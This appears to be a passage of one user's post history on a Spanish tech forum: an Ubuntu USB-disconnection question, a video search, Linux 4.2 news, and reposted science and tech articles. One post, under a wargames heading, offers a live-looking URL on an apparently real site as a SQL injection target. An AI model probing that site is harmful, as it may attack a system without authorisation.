    El problema principal de cuando aparecen estas desconexiones es cuando paso a llevar el cable con mi pierna o cuando muevo mucho la mesa al utilizar el teclado pero si no muevo la mesa no pasa nada, asi que esto me vuelve a intrigar ya que eso es directamente una interrupción del cable y que de otra manera no se produciría cuando se mueve, pero por otro lado esto no sucede en otros sistemas operativos por lo cual tambien me hace pensar de que algo hacen los demas sistemas que no hace ubuntu, talves las interrupciones existen pero talves tambien existe un lapso de timeout de desconexión y como las desconexiones son muy intermitentes esto haría que en otros sistemas no se refleje la desconexión y en un sistema linux si, pero por otro lado me extraña que una ves que pierde la conexión esta no vuelve inmediatamente, es mas, el movil dice que no hay dispositivo usb conectado (pero aparece cargando batería) asi que por lo general saco el cable y lo vuelvo a colocar varias veces hasta que toma y ahi lo dejo tranquilo.

    Lo he probado en 6 puertos usb diferentes, 4 2.0 y 2 3.0 y en todos pasa lo mismo, externos a traves de un widget y los integrados que van en la placa que salen por detrás y en todos pasa lo mismo.

    Habrá alguna manera de disgnosticar que está sucediendo realmente como para poder tomar medidas al respecto y que no vuelva a suceder? porque todo esto me tiene muy confundido.


    Edito -------------------------------------------

    Definitivamente es un problema de ubuntu, al reiniciar el pc presiono f11 para entrar al orden de arranque del equipo y mientras lo dejo ahi quieto mi equipo movil conectado dice que si hay dispositivo usb conectado, muevo el cable hacia todos lados y jamas se desconecta, le doy enter para continuar con el booteo normal y cuando aparece la pantalla de acceso de ubuntu se va nuevamente la conexión con el cable y debo moverlo nuevamente para que se reconecte.

    ¿Que está sucediendo? hay algún log o comando para disgnosticar esto? supongo que no debo ser la única persona que le sucede.

    Este mismo post también lo hice acá: http://www.ubuntu-es.org/node/188604 pero no me dieron muchas pistas sobre lo que pueda estar sucediendo.

    ¿Alguien de acá me puede dar una mano por favor?
    #84
    Foro Libre / busco un videoclip de un juego chino
    13 Septiembre 2015, 17:08 PM
    Hola, hace mucho tiempo habia visto un video y varias veces lo podia encontrar buscandolo pero definitivamente ahora ya no puedo, es un video donde aparece un chino jugando un juego de estos de musica tipo guitar hero pero salia solo musica clasica de piano y lo encontraba en google por "chino loco juego", pero definitivamente no lo encuentro ahora, al parecer, solo al parecer la maquina de juegos donde lo grababan jugando se llamaba "rock fever",, solo porque lo encuentro casi identico pero en realidad no se si será exactamente ese.

    Alguien ha visto alguna ves ese video? el chino sacaba 100% en un mezclado clasico muy dificil y con suerte se le veian las manos al jugar.
    #85
    Noticias / Linux 4.2 disponible en versión estable
    5 Septiembre 2015, 00:47 AM


    Linux 4.2 ya está con nosotros, e incorpora muchos cambios y novedades interesantes, sobre todo cara a los usuarios de gráficas AMD.

    Como ya adelantamos hace unas semanas, Linux 4.2 añadió para su versión Release Candidate un millón de nuevas líneas de código, mostrando que el kernel Linux es un proyecto vivo que evoluciona a buen ritmo.

    El nuevo driver para las GPU AMD es AMDGPU, que al parecer va a tener que mejorar bastante hasta alcanzar los niveles de fiabilidad de su predecesor, Radeon, el cual ha sido capaz de prolongar de manera más que digna la vida útil muchos modelos de gráficas ATI/AMD, sobre todo a partir de la serie 4000. Además del nuevo soporte para gráficas AMD, en Phoronix publicaron hace tiempo las mejoras y novedades que incorporaría Linux 4.2. Yo intentaré resumir lo más importante en la siguiente lista:

       * Cifrado de vídeo VCE1 ha sido añadido al driver Radeon.
       * El driver de vídeo de VirtIO DRM/KMS, utilizado por los sistemas invitados en KVM/QEMU, ha sido añadido al kernel.
       * El código de Intel Assembly x86 ha sido reescrito.
       * Soporte para nuevas placas y SoCs ARM: Freescale i.MX7D, ZTE ZX296702, y HiSilicon hi6220.
       * Jutter RNG fue añadido en la actualización del subsistema de cifrado.
       * NCQ TRIM ha sido mejorado y ahora permite ser habilitado o deshabilitado en caso de tener un SSD pobremente soportado.
       * Mejoras en el rendimiento de GFS2.
       * Añadido el cifrado por fichero F2FS, que se basa en el diseño de cifrado establecido para EXT4 en Linux 4.1.
       * Se ha incorporado soporte para el ratón Logitech M560, el Sony Motion Controller de PlayStation 3 y el Sony Navigation Controller para PlayStation 4.
       * El led mando inalámbrico de Xbox ahora funciona.
       * Se ha añadido soporte para UEFI ESRT (EFI System Resource Table), siendo este uno de los requerimientos para permitir la actualización del firmware UEFI desde un GNU/Linux desktop.
       * Mejoras en el soporte de sonido.

    Como se puede apreciar, Linux 4.2 viene cargado de pequeños detalles que pueden alegrar a más de uno, y eso que no he puesto todo lo que me he encontrado, intentando centrarme en lo importante. Para los curiosos, pueden ver el anuncio de lanzamiento publicado por Linus Torvalds aquí y descargarlo desde kernel.org. Para los más fervientes seguidores del Software Libre, que no quieren encontrarse con los blobs privativos, Linux-libre 4.2 también está disponible.

    Para Linux 4.3 se espera que el driver Nouveau, Open Source y destinado para las GPU NVIDIA, reciba toda una vuelta de tuerca, después de no incorporar novedades importantes en Linux 4.2. También se espera que el driver de EXT3 sea eliminado.

    Fuente: http://www.muylinux.com/2015/08/31/linux-4-2-disponible
    #86
    Desafíos - Wargames / Inyección SQL
    26 Agosto 2015, 18:03 PM
    http://www.wushidou.cn/data.php?table=other&game=20a7d77ea9ae9d32370f8c03aa3502e3232cf78b

    :) a jugar!
    #87
    Life After Pi es un documental de 30 minutos que explica cómo una compañía de efectos especiales se declaró en bancarrota al mismo tiempo que ganaba el Oscar a mejores efectos visuales por la película Life of Pi. Sus realizadores han decidido publicar la obra en su totalidad en YouTube.



    ¿Sabías que prácticamente al mismo tiempo que Life of Pi recibió el Oscar por mejores efectos visuales, Rhythm & Hues el estudio responsable de los efectos del largometraje, anunció su bancarrota? Life After Pi es un documental de 30 minutos que cuenta cómo Hollywood está destruyendo gran parte de las compañías que permiten que las películas se vean tan espectaculares y maravillosas.

    Life After Pi es dirigida por Scott Leberecht (responsable de efectos visuales de películas como Sleepy Hollow) y explica cómo funciona el negocio de los efectos especiales, el cual se basa en contratar al estudio que ofrece el precio más barato, presionado por obtener el trabajo, cotización basada en guías de producción que cambiarán drásticamente a lo largo de los meses, tanto que el estudio incurre en grandes pérdidas, estrangulándolo y dejándolo en la ruina, aún cuando el trabajo realizado sea reconocido a nivel mundial en grandes producciones hollywoodenses.

    Aunque Life After Pi se centra en la lucha y problemas que están teniendo los estudios de efectos especiales hoy en día, es una muestra fantástica de la voracidad de la industria de las películas, la competencia que supera la búsqueda de la calidad y que se centra, básicamente, en hacer la mayor cantidad de dinero aprovechándose de la mayor cantidad de personas y terceros.

    Fuente: http://hipertextual.com/2014/02/life-after-pi
    #88
    ¿Qué pasa si utilizamos Deep Dream de Google sobre una película?

    https://www.youtube.com/watch?t=57&v=oyxSerkkP4o

    Seguro que habéis escuchado hablar de Google Deep Dream, el algoritmo de la compañía que permite analizar imágenes para reconocer objetos y formas, de forma que pueda utilizarse como IA autónoma que permita descifrar el contenido de una imagen por si misma y plantear a través del contexto objetivos idéntico, o al menos que se parezcan a lo que representa las imágenes. Si se utiliza esta IA para que rellene los huecos faltantes en una imagen puede dar lugar a formas bastante interesantes, su uso en el reconocimiento de imágenes en vídeo es... totalmente aterrador y perturbador.

    Y es que desde que Google liberó el código de Deep Dream los desarrolladores se han puesto a investigar con este algoritmo, y uno de ellos ha terminado usando la tecnología de Google para reconocer imágenes en una de las escenas de Fear and Loathing in Las Vegas (Miedo y Asco en Las Vegas) con el resultado totalmente perturbador que puedes ver sobre estas líneas.

    Aunque parezca simple, Google Deep Dream funciona a través de un sistema de aprendizaje con una series inicial de imágenes en en las que identifica algunos elementos característicos, de forma que después puedes pedirle al algoritmo que interprete lo que ve en otras imágenes a través de un sistema de capas que muestra lo que Deep Dream ha ¿reconocido?. No sabemos cómo será en el futuro, pero ahora mismo es muy perturbador, y muy curioso.

    Fuente: http://hipertextual.com/2015/07/deep-dream
    #89
    Hawking podría haber resuelto uno de los mayores misterios sobre los agujeros negros

    La paradoja de la información prometía violar las leyes fundamentales de nuestro universo gracias a los extraordinarios fenómenos que ocurren en el interior de los agujeros negros. Hasta ahora.



    Con estar un poco atento al mundo científico es fácil oír hablar de la estelar afirmación que hacía Stephen Hawking recientemente. Según presentaba en Estocolmo el que es uno de los físicos más prestigiosos de nuestro tiempo, la "paradoja de la información" tendría respuesta al fin. Pero, ¿qué es esta "paradoja de la información"? ¿Y qué supone para nosotros? La naturaleza de los agujeros negros sigue siendo tan compleja y misteriosa que su sola existencia supone un intenso debate entre las mentes más brillantes. Vamos a hacer un monumental esfuerzo para tratar de explicar la importancia de este hallazgo.


    Anatomía de un agujero negro

    Imaginad una fuerza tan grande, tan gigantesca, que rompe con todo lo que conocemos de nuestro universo. Ahora supongamos que esa "fuerza" es en realidad masa. Un peso terrible que, como nuestro planeta, crea una atracción gravitatoria a su alrededor. Sin embargo, la masa es tan densa, tan grande, que la gravedad que genera no deja escapar nada. Ni tan siquiera la luz. Crea un pozo sin fondo donde as leyes universales comienzan a tambalearse. Lo único capaz de "escapar" de ellos es la denominada radiación de Hawkings, que es una emisión cuyo origen se debe a varias cuestiones de su naturaleza.

    El origen de un agujero negro, suponemos, se encuentra en una estrella cuya fuerza gravitatoria no es compensada por la energía que produce. Esto se debe a que la estrella murió millones de años atrás. En palabras más poéticas: los agujeros negros son el cadáver "podrido" de las grandes estrellas. Llega un momento en el que la gravedad va creciendo hasta "el infinito". En este punto las leyes convencionales ya no tienen sentido. En realidad, esta es una manera muy sencilla de explicarlo, pero las consecuencias de un colapso estelar pueden ser un tanto variadas.



    Pero volviendo a los agujeros negros, entendemos que pueden existir varios tipos de agujeros predichos por las teorías de Einstein. Estos tipos dependen de sus propiedades físicas (su carga, su momento angular y su masa). Así encontramos desde los gigantescos agujeros negros masivos, que acechan en el centro de las grandes galaxias, hasta los efímeros microagujeros negros. También encontramos los sencillos agujeros de Schwarzschild a los danzarines agujeros de Kerr-Newmann. En realidad, para comprenderlos, no necesitamos explicarlos ni entran en detalle.

    Lo que si necesitamos saber es que los agujeros negros tienen un componente llamado horizonte de sucesos que es el límite alrededor de un agujero del cual puede escapar una partícula, incluyendo la luz y su información. El horizonte de sucesos es una superficie cerrada que envuelve y separa al agujero negro del resto del universo. Más allá de este horizonte de sucesos, lo que le ocurre a la materia es un auténtico misterio para nosotros.


    Resolviendo la paradoja de la información

    Pero el problema que esto supone es más importante de lo que parece. Toda materia contiene una información cuántica. Es una conceptualización, datos, números... que hablan del estado de la materia. Es algo complejo pero inherente al universo en el que vivimos. La información física, según los principios más fundamentales de la materia, es siempre completa y única. En un agujero negro, sin embargo, desaparecen estos principios fundamentales. Según la paradoja de la información, esto quiere decir que un estado físico podría desaparecer permanentemente, lo que quiere decir que cualquier varios estados podrían convertirse en el mismo. Un caos que no tiene sentido en nuestro universo tal y como lo conocemos.



    Si esto fuese así, las leyes sobre el tiempo, el espacio y la materia deberían ser revisadas en profundidad. Mucha profundidad. Sin embargo, ayer, cuando el profesor Hawking se subió al estrado, pocos se esperaban lo que tenía que decir: la paradoja de la información, tras décadas de dolor de cabeza, está resuelta. Según los asistentes, tras una compleja explicación, debido más al estado del profesor, Hawking señalaba sus conclusiones. Esta información de la que hablamos se encontraría, en realidad, guardada en parte en el horizonte de sucesos.

    Imaginemos de nuevo. Pero esta vez pensemos en una partícula, con toda su información recogida en su naturaleza.

    La información quedaría guardada en el horizonte de sucesos pero sería completamente inservible.

    Al pasar por el horizonte de sucesos, justo antes de adentrarse en las negras fauces del agujero negro, dejaría una "copia" de dicha información en dicho horizonte en forma de "supertranslación", un concepto físico desarrollado en 1962. El problema es que esta información, aunque sigue estando, dejaría de tener sentido. Es cómo si tomáramos un manual de instrucciones y lo pasáramos por una trituradora. Aunque la información sigue estando ahí, en el mismo sitio, ha dejado de tener sentido. Por completo. Sin embargo, sí que resuelve la cuestión de la paradoja de la información: la información no se pierde; por tanto, las leyes, por ahora, siguen teniendo sentido. Ahora, los físicos no han tardado en hacer otra pregunta al respecto: ¿supone este el primer paso para encontrar una manera de "escapar" de un agujero negro? Tendremos que esperar a que el profesor publique el artículo al respecto.

    Fuente: http://hipertextual.com/2015/08/paradoja-de-la-informacion
    #90
    Una nueva firma de capital de riesgo de Sony presentó el primer drone de esta compañía de tecnología, un aeroplano que puede volar a 170 kilómetros durante 120 minutos y cargar 10 kilogramos de peso.



    Aerosense, una nueva compañía de capital de riesgo Sony, reveló este lunes en un video su primer prototipo del drone AS-DT01-E, el cual será usado de dar servicio a los clientes y sus negocios.

    El aeroplano despega desde el suelo y puede aterrizar sin necesidad de tener una pista. Además el drone puede cargar objetos con un peso de de casi 10 kilogramos y volar por dos horas a una velocidad máxima de 170 kilómetros por hora.

    La compañía de Sony, la cual se especializa en el desarrollo de tecnología de piloto automático, ofrecerá servicios como inspección de la infraestructura envejecida, investigación de tierras que son de difícil acceso, logística y agricultura

    El jefe ejecutivo de Aerosense, Hisashi Taniguvhi, dijo que la compañía tiene como objetivo tener 83 millones en ganancias para el 2020, de acuerdo a un blog de Wall Street Journal.

    https://www.youtube.com/watch?v=btT3_SR7rE0

    Fuente: http://www.elfinanciero.com.mx/tech/sony-ya-tiene-presencia-en-las-nubes.html